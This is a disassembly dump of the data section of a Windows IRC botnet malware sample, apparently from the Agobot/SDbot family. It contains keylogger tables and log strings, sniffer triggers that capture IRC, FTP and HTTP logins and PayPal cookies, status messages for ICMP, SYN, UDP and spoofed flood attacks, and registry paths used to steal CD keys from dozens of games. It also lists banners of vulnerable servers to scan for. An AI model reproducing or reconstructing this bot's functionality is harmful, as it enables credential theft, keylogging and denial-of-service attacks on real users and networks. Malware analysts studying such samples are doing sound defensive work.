		dd 2 dup(32h), 40000000h, 2 dup(0)
		dd 2 dup(33h), 23000000h, 2 dup(0)
		dd 2 dup(34h), 24000000h, 2 dup(0)
		dd 2 dup(35h), 25000000h, 2 dup(0)
		dd 2 dup(36h), 5E000000h, 2 dup(0)
		dd 2 dup(37h), 26000000h, 2 dup(0)
		dd 2 dup(38h), 2A000000h, 2 dup(0)
		dd 2 dup(39h), 28000000h, 2 dup(0)
		dd 2 dup(30h), 29000000h, 2 dup(0)
		dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
		dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
		dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
		dd 51h,	71h, 51000000h,	2 dup(0)
		dd 57h,	77h, 57000000h,	2 dup(0)
		dd 45h,	65h, 45000000h,	2 dup(0)
		dd 52h,	72h, 52000000h,	2 dup(0)
		dd 54h,	74h, 54000000h,	2 dup(0)
		dd 59h,	79h, 59000000h,	2 dup(0)
		dd 55h,	75h, 55000000h,	2 dup(0)
		dd 49h,	69h, 49000000h,	2 dup(0)
		dd 4Fh,	6Fh, 4F000000h,	2 dup(0)
		dd 50h,	70h, 50000000h,	2 dup(0)
		dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
		dd 0DDh, 0
		dd 7D000000h, 2	dup(0)
		dd 41h,	61h, 61000000h,	2 dup(0)
		dd 53h,	73h, 53000000h,	2 dup(0)
		dd 44h,	64h, 44000000h,	2 dup(0)
		dd 46h,	66h, 46000000h,	2 dup(0)
		dd 47h,	67h, 47000000h,	2 dup(0)
		dd 48h,	68h, 48000000h,	2 dup(0)
		dd 4Ah,	6Ah, 4A000000h,	2 dup(0)
		dd 4Bh,	6Bh, 4B000000h,	2 dup(0)
		dd 4Ch,	6Ch, 4C000000h,	2 dup(0)
		dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
		dd 0DEh, 27h, 22000000h, 2 dup(0)
		dd 5Ah,	7Ah, 5A000000h,	2 dup(0)
		dd 58h,	78h, 58000000h,	2 dup(0)
		dd 43h,	63h, 43000000h,	2 dup(0)
		dd 56h,	76h, 56000000h,	2 dup(0)
		dd 42h,	62h, 42000000h,	2 dup(0)
		dd 4Eh,	6Eh, 4E000000h,	2 dup(0)
		dd 4Dh,	6Dh, 4D000000h,	2 dup(0)
		dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
		dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
		dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
		dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
		dd 11h,	5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
		dd 5B00005Dh, 5D4E4957h, 0
		dd 2 dup(20h), 20000000h, 2 dup(0)
		dd 5Ch,	4E49575Bh, 5B00005Dh, 5D4E4957h, 0
		dd 2Ch,	5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
		dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
		dd 5D534E49h, 0
		dd 24h,	4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
		dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
		dd 5D4C4544h, 0
		dd 23h,	444E455Bh, 5B00005Dh, 5D444E45h, 0
		dd 22h,	4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
		dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
		dd 5D5055h, 0
		dd 27h,	4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
		dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
		dd 4B4C4D4Eh, 5Dh, 6Fh,	2Fh, 2F000000h,	2 dup(0)
		dd 6Ah,	2Ah, 2A000000h,	2 dup(0)
		dd 6Dh,	2Dh, 2D000000h,	2 dup(0)
		dd 6Bh,	2Bh, 2B000000h,	2 dup(0)
		dd 60h,	30h, 30000000h,	2 dup(0)
		dd 61h,	31h, 31000000h,	2 dup(0)
		dd 62h,	32h, 32000000h,	2 dup(0)
		dd 63h,	33h, 33000000h,	2 dup(0)
		dd 64h,	34h, 34000000h,	2 dup(0)
		dd 65h,	35h, 35000000h,	2 dup(0)
		dd 66h,	36h, 36000000h,	2 dup(0)
		dd 67h,	37h, 37000000h,	2 dup(0)
		dd 68h
dword_437A2C	dd 38h,	38000000h, 2 dup(0) ; DATA XREF: seg000:004120FDo
		dd 69h,	39h, 39000000h,	2 dup(0)
		dd 6Eh,	2Eh, 2E000000h,	2 dup(0)
dword_437A64	dd 234032Dh, 6C79656Bh,	302676Fh, 7325202Dh, 0 ; DATA XREF: sub_411D74+ACo
aDDDDDDS	db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: sub_411D74+86o
		align 4
asc_437A94:				; DATA XREF: sub_411D74+2Co
		unicode	0, <\>,0
aSReturnS	db '%s (Return) (%s)',0 ; DATA XREF: seg000:0041206Fo
		align 4
aSBufferFullS	db '%s (Buffer full) (%s)',0 ; DATA XREF: seg000:0041202Co
		align 4
aSChangedWindow	db '%s (Changed Windows: %s)',0 ; DATA XREF: seg000:00411EE2o
		align 10h
		dd offset dword_438358
		dd offset off_438354
		dd offset aFtp		; "FTP"
		dd offset aHttp_0	; "HTTP"
		dd 6F6C2E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C213Ah, 6E6967h, 4 dup(0)
		dd 6F6C403Ah, 6E6967h, 4 dup(0)
		dd 6F6C243Ah, 6E6967h, 4 dup(0)
		dd 6F6C253Ah, 6E6967h, 4 dup(0)
		dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C263Ah, 6E6967h, 4 dup(0)
		dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C273Ah, 6E6967h, 4 dup(0)
		dd 6F6C603Ah, 6E6967h, 4 dup(0)
		dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C203Ah, 6E6967h, 4 dup(0)
		dd 75612E3Ah, 6874h, 4 dup(0)
		dd 75612C3Ah, 6874h, 4 dup(0)
		dd 7561213Ah, 6874h, 4 dup(0)
		dd 7561403Ah, 6874h, 4 dup(0)
		dd 7561243Ah, 6874h, 4 dup(0)
		dd 7561253Ah, 6874h, 4 dup(0)
		dd 75615E3Ah, 6874h, 4 dup(0)
		dd 7561263Ah, 6874h, 4 dup(0)
		dd 75612A3Ah, 6874h, 4 dup(0)
		dd 75612D3Ah, 6874h, 4 dup(0)
		dd 75612B3Ah, 6874h, 4 dup(0)
		dd 75612F3Ah, 6874h, 4 dup(0)
		dd 75615C3Ah, 6874h, 4 dup(0)
		dd 75613D3Ah, 6874h, 4 dup(0)
		dd 75613F3Ah, 6874h, 4 dup(0)
		dd 7561273Ah, 6874h, 4 dup(0)
		dd 7561603Ah, 6874h, 4 dup(0)
		dd 75617E3Ah, 6874h, 4 dup(0)
		dd 7561203Ah, 6874h, 4 dup(0)
		dd 64692E3Ah, 5	dup(0)
		dd 64692C3Ah, 5	dup(0)
		dd 6469213Ah, 5	dup(0)
		dd 6469403Ah, 5	dup(0)
		dd 6469243Ah, 5	dup(0)
		dd 6469253Ah, 5	dup(0)
		dd 64695E3Ah, 5	dup(0)
		dd 6469263Ah, 5	dup(0)
		dd 64692A3Ah, 5	dup(0)
		dd 64692D3Ah, 5	dup(0)
		dd 64692B3Ah, 5	dup(0)
		dd 64692F3Ah, 5	dup(0)
		dd 64695C3Ah, 5	dup(0)
		dd 64693D3Ah, 5	dup(0)
		dd 64693F3Ah, 5	dup(0)
		dd 6469273Ah, 5	dup(0)
		dd 6469603Ah, 5	dup(0)
		dd 64697E3Ah, 5	dup(0)
		dd 6469203Ah, 5	dup(0)
		dd 61682E3Ah, 6E696873h, 4 dup(0)
		dd 6168213Ah, 6E696873h, 4 dup(0)
		dd 6168243Ah, 6E696873h, 4 dup(0)
		dd 6168253Ah, 6E696873h, 4 dup(0)
		dd 65732E3Ah, 65727563h, 4 dup(0)
		dd 6573213Ah, 65727563h, 4 dup(0)
		dd 6C2E3Ah, 5 dup(0)
		dd 6C213Ah, 5 dup(0)
		dd 6C243Ah, 5 dup(0)
		dd 6C253Ah, 5 dup(0)
		dd 782E3Ah, 5 dup(0)
		dd 78213Ah, 5 dup(0)
		dd 78243Ah, 5 dup(0)
		dd 78253Ah, 5 dup(0)
		dd 79732E3Ah, 6Eh, 4 dup(0)
		dd 7973213Ah, 6Eh, 4 dup(0)
		dd 7973243Ah, 6Eh, 4 dup(0)
		dd 7973253Ah, 6Eh, 4 dup(0)
		dd 4B444320h, 207965h, 4 dup(0)
		dd 4E494F4Ah, 2320h, 3 dup(0)
		dd 1, 4B43494Eh, 20h, 3	dup(0)
		dd 1, 5245504Fh, 20h, 3	dup(0)
		dd 1, 7265706Fh, 20h, 3	dup(0)
		dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
		dd 1, 52455355h, 20h, 3	dup(0)
		dd 2, 53534150h, 20h, 3	dup(0)
		dd 2, 70796170h, 6C61h,	3 dup(0)
		dd 3, 50594150h, 4C41h,	3 dup(0)
		dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
		dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
		dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
		dd 3, 6	dup(0)
aHttp_0		db 'HTTP',0             ; DATA XREF: seg002:00437AECo
		align 10h
aFtp		db 'FTP',0              ; DATA XREF: seg002:00437AE8o
off_438354	dd offset dword_434F60+2E9h ; DATA XREF: seg002:00437AE4o
dword_438358	dd 544F42h, 234032Dh, 696E7370h, 3026666h, 6572202Dh, 29287663h
					; DATA XREF: seg002:00437AE0o
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 696E7370h,	3026666h, 7573202Dh, 63697073h
		dd 73756F69h, 20732520h, 6B636170h, 66207465h, 3A6D6F72h
		dd 3A732520h, 2D206425h, 732520h, 234032Dh, 696E7370h
		dd 3026666h, 2Dh, 4E53505Bh, 5D464649h,	0
		dd 234032Dh, 696E7370h,	3026666h, 5357202Dh, 636F4941h
		dd 29286C74h, 69616620h, 2C64656Ch, 74657220h, 656E7275h
		dd 64252064h, 0
		dd 234032Dh, 696E7370h,	3026666h
aBindFailedRetu	db '- bind() failed, returned %d',0
		align 4
dword_438434	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: seg000:004121ADo
aSocketFailedRe	db '- socket() failed, returned %d',0
		align 10h
aHashin		db ':!hashin',0         ; DATA XREF: sub_4124AD+103o
		align 4
a_hashin	db ':.hashin',0         ; DATA XREF: sub_4124AD+EEo
		align 4
aIdent		db ':!ident',0          ; DATA XREF: sub_4124AD+D9o
a_ident		db ':.ident',0          ; DATA XREF: sub_4124AD+C8o
a_login		db ':.Login',0          ; DATA XREF: sub_4124AD+B7o
aLogin_0	db ':!Login',0          ; DATA XREF: sub_4124AD+A6o
aLogin_1	db ':!login',0          ; DATA XREF: sub_4124AD+95o
a_login_0	db ':.login',0          ; DATA XREF: sub_4124AD+84o
a366		db '366 ',0             ; DATA XREF: sub_4124AD+73o
		align 10h
a302_0		db '302 ',0             ; DATA XREF: sub_4124AD:loc_41250Fo
		align 4
aJoin_0		db 'JOIN #',0           ; DATA XREF: sub_4124AD+4Do
		align 10h
aPsniff_0	db 'PSNIFF//',0         ; DATA XREF: sub_4124AD+3Co
		align 4
aPsniff_1	db '[PSNIFF]:',0        ; DATA XREF: sub_4124AD+2Bo
		align 4
aBotSniff	db 'Bot sniff',0        ; DATA XREF: sub_4124AD+5o
		align 4
aYouAreNowAnIrc	db 'You are now an IRC Operator',0 ; DATA XREF: sub_4125C4+62o
aOper		db 'oper ',0            ; DATA XREF: sub_4125C4+51o
		align 4
aNick_1		db 'NICK ',0            ; DATA XREF: sub_4125C4:loc_412604o
					; sub_41263A+2Bo
		align 10h
aOper_0		db 'OPER ',0            ; DATA XREF: sub_4125C4+2Bo
		align 4
aIrcSniff	db 'IRC sniff',0        ; DATA XREF: sub_4125C4+5o
		align 4
aPass_1		db 'PASS ',0            ; DATA XREF: sub_41263A+73o
		align 4
aUser_3		db 'USER ',0            ; DATA XREF: sub_41263A+62o
		align 4
a230		db '230 ',0             ; DATA XREF: sub_41263A:loc_41268Bo
		align 4
a220		db '220 ',0             ; DATA XREF: sub_41263A+3Co
		align 4
aFtpSniff	db 'FTP sniff',0        ; DATA XREF: sub_41263A+5o
		align 10h
aSetCookie	db 'Set-Cookie:',0      ; DATA XREF: sub_4126C1+73o
aPaypal_com	db 'paypal.com',0       ; DATA XREF: sub_4126C1+62o
		align 4
aPaypal_com_0	db 'PAYPAL.COM',0       ; DATA XREF: sub_4126C1+51o
		align 4
aPaypal_0	db 'PAYPAL',0           ; DATA XREF: sub_4126C1:loc_412701o
		align 4
aPaypal		db 'paypal',0           ; DATA XREF: sub_4126C1+2Bo
		align 4
aHttpSniff	db 'HTTP sniff',0       ; DATA XREF: sub_4126C1+5o
		align 10h
aOpenssh_2	db 'OpenSSH_2',0        ; DATA XREF: sub_412748+51o
		align 4
aServUFtpServer	db 'Serv-U FTP Server',0 ; DATA XREF: sub_412748:loc_412788o
		align 10h
aOpenssl0_9_6	db 'OpenSSL/0.9.6',0    ; DATA XREF: sub_412748+2Bo
		align 10h
aVulnSniff	db 'VULN sniff',0       ; DATA XREF: sub_412748+5o
		align 4
unk_4385CC	db  2Dh	; -		; DATA XREF: seg000:00412B83o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aVulnSniffSDToS	db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_438604	db  2Dh	; -		; DATA XREF: seg000:00412B17o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aHttpSniffSDToS	db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_43863C	db  2Dh	; -		; DATA XREF: seg000:00412AE4o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFtpSniffSDToSD	db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0
unk_438670	db  2Dh	; -		; DATA XREF: seg000:00412AB8o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aIrcSniffSDToSD	db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0
unk_4386A4	db  2Dh	; -		; DATA XREF: seg000:00412A89o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBotSniffSDToSD	db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0
unk_4386D8	db  2Dh	; -		; DATA XREF: seg000:004128F8o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aWsaioctlFailed	db '- WSAIoctl() failed, returned %d',0
		align 4
unk_438708	db  2Dh	; -		; DATA XREF: seg000:00412872o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBindFailedRe_0	db '- bind() failed, returned %d',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodA	db 'done with flood at %iKB/sec',0
dword_43875C	dd 234032Dh, 736F6464h,	202D0302h, 646E6573h, 72726520h
					; DATA XREF: seg000:00412F56o
		dd 203A726Fh, 6425h, 234032Dh, 706D6369h, 202D0302h, 6F727265h
		dd 65732072h, 6E69646Eh, 61702067h, 74656B63h, 6F742073h
		dd 2E732520h, 20642520h, 6B636170h, 20737465h, 746E6573h
		dd 6572202Ch, 6E727574h, 25206465h, 64h, 234032Dh, 706D6369h
		dd 202D0302h, 656E6F64h, 74697720h, 73252068h, 6F6C6620h
		dd 7420646Fh, 7325206Fh, 6573202Eh, 2520746Eh, 61702064h
		dd 74656B63h, 20402073h, 424B6425h, 6365732Fh, 64252820h
		dd 2E29424Dh, 0
		dd 234032Dh, 706D6369h,	202D0302h, 61766E69h, 2064696Ch
		dd 67726174h, 69207465h, 70h, 234032Dh,	706D6369h, 202D0302h
		dd 73746573h, 6F6B636Fh, 29287470h, 69616620h, 2C64656Ch
		dd 74657220h, 656E7275h, 64252064h, 0
		dd 234032Dh, 706D6369h,	202D0302h, 6B636F73h, 29287465h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 676E6970h,	202D0302h, 696E6966h, 64656873h
		dd 6E657320h, 676E6964h, 6E697020h, 74207367h, 7325206Fh
		dd 0
		dd 234032Dh, 676E6970h,	202D0302h, 6F727265h, 65732072h
		dd 6E69646Eh, 69702067h, 2073676Eh, 25206F74h, 73h, 234032Dh
		dd 2706475h, 66202D03h,	73696E69h, 20646568h, 646E6573h
		dd 20676E69h, 6B636170h, 20737465h, 25206F74h, 73h, 234032Dh
		dd 2706475h, 65202D03h,	726F7272h, 6E657320h, 676E6964h
		dd 63617020h, 7374656Bh, 206F7420h, 7325h, 234032Dh, 73796B73h
		dd 3026E79h, 6F44202Dh,	7720656Eh, 20687469h, 6F6F6C66h
		dd 25282064h, 2F424B69h, 29636573h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aDoneWithFloodI	db '- Done with flood (%iKB/sec).',0
		align 4
dword_438984	dd 234032Dh, 26E7973h, 53202D03h, 20646E65h, 6F727265h
					; DATA XREF: sub_413991+295o
		dd 3C203A72h, 2E3E6425h, 0
		dd 234032Dh, 67726174h,	3023361h, 6F44202Dh, 7720656Eh
		dd 20687469h, 6F6F6C66h, 2E64h,	0
		dd 234032Dh, 2706374h, 45202D03h, 726F7272h, 6E657320h
		dd 676E6964h, 63617020h, 7374656Bh, 206F7420h, 203A5049h
		dd 202E7325h, 6B636150h, 20737465h, 746E6573h, 6425203Ah
		dd 6552202Eh, 6E727574h, 203A6465h, 3E64253Ch, 2Eh, 234032Dh
		dd 2706374h, 44202D03h,	20656E6Fh, 68746977h, 20732520h
		dd 6F6F6C66h, 6F742064h, 3A504920h, 2E732520h, 6E655320h
		dd 25203A74h, 61702064h, 74656B63h, 20297328h, 64252040h
		dd 732F424Bh, 28206365h, 424D6425h, 2E29h, 234032Dh, 2706374h
		dd 49202D03h, 6C61766Eh, 74206469h, 65677261h, 50492074h
		dd 2Eh,	234032Dh, 2706374h, 45202D03h, 726F7272h, 6573203Ah
		dd 636F7374h, 74706F6Bh, 66202928h, 656C6961h, 72202C64h
		dd 72757465h, 3A64656Eh, 64253C20h, 2E3Eh, 234032Dh, 2706374h
		dd 45202D03h, 726F7272h, 6F73203Ah, 74656B63h, 66202928h
		dd 656C6961h, 72202C64h, 72757465h, 3A64656Eh, 64253C20h
		dd 2E3Eh, 234032Dh, 6E757374h, 2696D61h, 44202D03h, 20656E6Fh
		dd 68746977h, 6F6C6620h, 202C646Fh, 70206425h, 656B6361h
		dd 73207374h, 2E746E65h, 0
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 53202D03h
		dd 74726174h, 20676E69h, 64736957h, 73206D6Fh, 666F6F70h
		dd 55206465h, 66205044h, 646F6F6Ch, 72687420h, 2E646165h
		dd 0
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 45202D03h
		dd 726F7272h, 6E657320h, 676E6964h, 63617020h, 7374656Bh
		dd 206F7420h, 202E7325h, 3D786165h, 4B434F53h, 455F5445h
		dd 524F5252h, 5357202Ch, 74654741h, 7473614Ch, 6F727245h
		dd 3D292872h, 202E6425h, 657A6973h, 6228666Fh, 65666675h
		dd 3D202972h, 2E642520h, 63615020h, 7374656Bh, 6E657320h
		dd 75732074h, 73736563h, 6C6C7566h, 203D2079h, 2E6425h
		dd 0
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 46202D03h
		dd 73696E69h, 20646568h, 646E6573h, 20676E69h, 6B636170h
		dd 20737465h, 25206F74h, 53202E73h, 20746E65h, 70206425h
		dd 656B6361h, 29732874h, 257E202Eh, 20424D64h, 6420666Fh
		dd 20617461h, 746E6573h, 257E2820h, 732F4B64h, 2E29h, 234032Dh
		dd 64736977h, 75286D6Fh, 2297064h, 53202D03h, 69646E65h
		dd 7020676Eh, 656B6361h, 74207374h, 7325206Fh, 2E2E2Eh
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 49202D03h
		dd 6C61766Eh, 74206469h, 65677261h, 50492074h, 5357202Eh
		dd 74654741h, 7473614Ch, 6F727245h, 20292872h, 75746572h
		dd 20736E72h, 2E6425h, 0
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 45202D03h
		dd 726F7272h, 6C616320h, 676E696Ch, 74657320h, 6B636F73h
		dd 2874706Fh, 57202E29h, 65474153h, 73614C74h, 72724574h
		dd 2928726Fh, 74657220h, 736E7275h, 2E642520h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aErrorCallingSo	db '- Error calling socket().',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodP	db 'Done with flood, ports hit: %s',0
		align 4
aSD		db '%s%d ',0            ; DATA XREF: seg000:00414F3Ao
		align 10h
dword_438D80	dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3 ; DATA	XREF: sub_415236+35o
dword_438D94	dd 234032Dh, 61696C61h,	696C2073h, 3027473h, 2Dh ; DATA	XREF: sub_415236+10o
a_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_4152AE+60o
		align 4
dword_438DCC	dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h
					; DATA XREF: sub_41534E:loc_415383o
dword_438DE0	dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h
					; DATA XREF: sub_41534E+20o
dword_438DF4	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h
					; DATA XREF: seg000:0041546Bo
		dd 6574656Ch, 0
dword_438E10	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h
					; DATA XREF: seg000:004153CEo
		dd 676E6974h, 0
aDisplay	db 'DISPLAY',0          ; DATA XREF: seg000:004154CFo
aWindow		db 'Window',0           ; DATA XREF: sub_4156F9+23o
					; sub_4158F2+26o
		align 10h
		dd 80000001h
off_438E44	dd offset aSoftwareValveC ; DATA XREF: sub_415B31+Cr
					; sub_415B31+21o
					; "Software\\Valve\\CounterStrike\\Settings"
		dd offset aCdkey	; "CDKey"
		dd offset aCounterStrikeR ; "Counter-Strike (Retail)"
dword_438E50	dd 2 dup(0)		; DATA XREF: sub_415B31+26o
		dd 80000001h, 439FE8h, 439FDCh,	439FCCh, 2 dup(0)
		dd 80000001h, 439FACh, 439FA8h,	439F94h, 2 dup(0)
		dd 80000001h, 439F70h, 439FA8h,	439F64h, 2 dup(0)
		dd 80000001h, 439F40h, 439F38h,	439F24h, 2 dup(0)
		dd 80000001h, 439F10h, 439F00h,	439EE4h, 2 dup(0)
		dd 80000001h, 439EA0h, 43A028h,	439E8Ch, 2 dup(0)
		dd 80000002h, 439E60h, 439E54h,	439E34h, 2 dup(0)
		dd 80000002h, 439E00h, 43A028h,	439DE8h, 2 dup(0)
		dd 80000002h, 439DB4h, 43A028h,	439D9Ch, 2 dup(0)
		dd 80000002h, 439D84h, 43A028h,	439D6Ch, 2 dup(0)
		dd 80000002h, 439D30h, 43FDB4h,	439D20h, 2 dup(0)
		dd 80000002h, 439CE8h, 43FDB4h,	439CD4h, 2 dup(0)
		dd 80000002h, 439C88h, 43FDB4h,	439C68h, 2 dup(0)
		dd 80000002h, 439C18h, 43FDB4h,	439BE8h, 2 dup(0)
		dd 80000002h, 439BACh, 43FDB4h,	439B98h, 2 dup(0)
		dd 80000002h, 439B60h, 43FDB4h,	439B50h, 2 dup(0)
		dd 80000002h, 439B00h, 43FDB4h,	439AD0h, 2 dup(0)
		dd 80000002h, 439A90h, 43FDB4h,	439A70h, 2 dup(0)
		dd 80000002h, 439A40h, 43FDB4h,	439A20h, 2 dup(0)
		dd 80000002h, 4399E4h, 43FDB4h,	4399D0h, 2 dup(0)
		dd 80000002h, 439988h, 43FDB4h,	439964h, 2 dup(0)
		dd 80000002h, 439910h, 43FDB4h,	4398E0h, 2 dup(0)
		dd 80000002h, 439890h, 43FDB4h,	439864h, 2 dup(0)
		dd 80000002h, 439824h, 43981Ch,	4397FCh, 2 dup(0)
		dd 80000002h, 4397B8h, 43FDB4h,	43979Ch, 2 dup(0)
		dd 80000002h, 439750h, 43FDB4h,	439728h, 2 dup(0)
		dd 80000002h, 4396F4h, 43FDB4h,	4396E8h, 2 dup(0)
		dd 80000002h, 4396B4h, 43FDB4h,	4396A8h, 2 dup(0)
		dd 80000002h, 439674h, 43FDB4h,	439668h, 2 dup(0)
		dd 80000002h, 439634h, 43FDB4h,	439628h, 2 dup(0)
		dd 80000002h, 4395ECh, 43FDB4h,	4395D8h, 2 dup(0)
		dd 80000002h, 43959Ch, 43FDB4h,	439588h, 2 dup(0)
		dd 80000002h, 439558h, 43A028h,	43953Ch, 2 dup(0)
		dd 80000002h, 43951Ch, 439514h,	4394F0h, 2 dup(0)
		dd 80000002h, 4394D4h, 439514h,	4394B4h, 2 dup(0)
		dd 80000002h, 439494h, 439514h,	439470h, 2 dup(0)
		dd 80000002h, 439458h, 439514h,	439454h, 2 dup(0)
		dd 80000002h, 439438h, 439428h,	439420h, 2 dup(0)
		dd 80000002h, 4393ECh, 42D8D8h,	4393D4h, 2 dup(0)
		dd 80000002h, 439398h, 43938Ch,	439364h, 439354h, 439340h
		dd 80000002h, 43931Ch, 439310h,	4392FCh, 4392ECh, 4392E4h
		dd 80000002h, 43931Ch, 439310h,	4392B8h, 4392ECh, 4392B0h
		dd 80000002h, 43931Ch, 439310h,	439280h, 4392ECh, 439278h
		dd 6 dup(0)
		dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h
		dd 64726564h, 296B7261h, 0
		dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh
		dd 6469746Eh, 2965h, 3179654Bh,	3Dh, 636E776Eh,	79656B64h
		dd 696E692Eh, 0
aNeverwinterNig	db 'Neverwinter Nights',0
		align 10h
aLocation	db 'Location',0
		align 4
aSoftwareBiowar	db 'Software\BioWare\NWN\Neverwinter',0
		align 10h
aMtkwftmkemfew3	db 'mtkwftmkemfew3p3b7',0
		align 4
aBaseMpSof2key	db 'base\mp\sof2key',0
aSoldierOfFortu	db 'Soldier of Fortune II - Double Helix',0
		align 4
aInstallpath	db 'InstallPath',0
		db 53h
aOftwareActivis	db 'oftware\Activision\Soldier of Fortune II - Double Helix',0
		align 4
aHiddenDangerou	db 'Hidden & Dangerous 2',0
		align 4
		db 53h
aOftwareIllusio	db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0
		align 10h
aChrome		db 'Chrome',0
		align 4
aSerialnumber	db 'SerialNumber',0
		align 4
		db 53h
aOftwareTechlan	db 'oftware\Techland\Chrome',0
		align 4
aNox		db 'NOX',0
aSoftwareWestwo	db 'Software\Westwood\NOX',0
		align 10h
aCommandAndConq	db 'Command and Conquer: Red Alert 2',0
		align 4
		db 53h
aOftwareWestwoo	db 'oftware\Westwood\Red Alert 2',0
		align 4
aCommandAndCo_0	db 'Command and Conquer: Red Alert',0
		align 4
		db 53h
aOftwareWestw_0	db 'oftware\Westwood\Red Alert',0
aCommandAndCo_1	db 'Command and Conquer: Tiberian Sun',0
		align 4
aSerial		db 'Serial',0
		align 4
		db 53h
aOftwareWestw_1	db 'oftware\Westwood\Tiberian Sun',0
		align 4
aRainbowSixIiiR	db 'Rainbow Six III RavenShield',0
		db 53h
aOftwareRedStor	db 'oftware\Red Storm Entertainment\RAVENSHIELD',0
		align 4
aNascarRacing20	db 'Nascar Racing 2003',0
		align 4
		db 53h
aOftwareElectro	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
		align 4
aNascarRacing_0	db 'Nascar Racing 2002',0
		align 4
		db 53h
aOftwareElect_0	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
		align 4
aNhl2003	db 'NHL 2003',0
		align 4
		db 53h
aOftwareElect_1	db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0
		align 4
aNhl2002	db 'NHL 2002',0
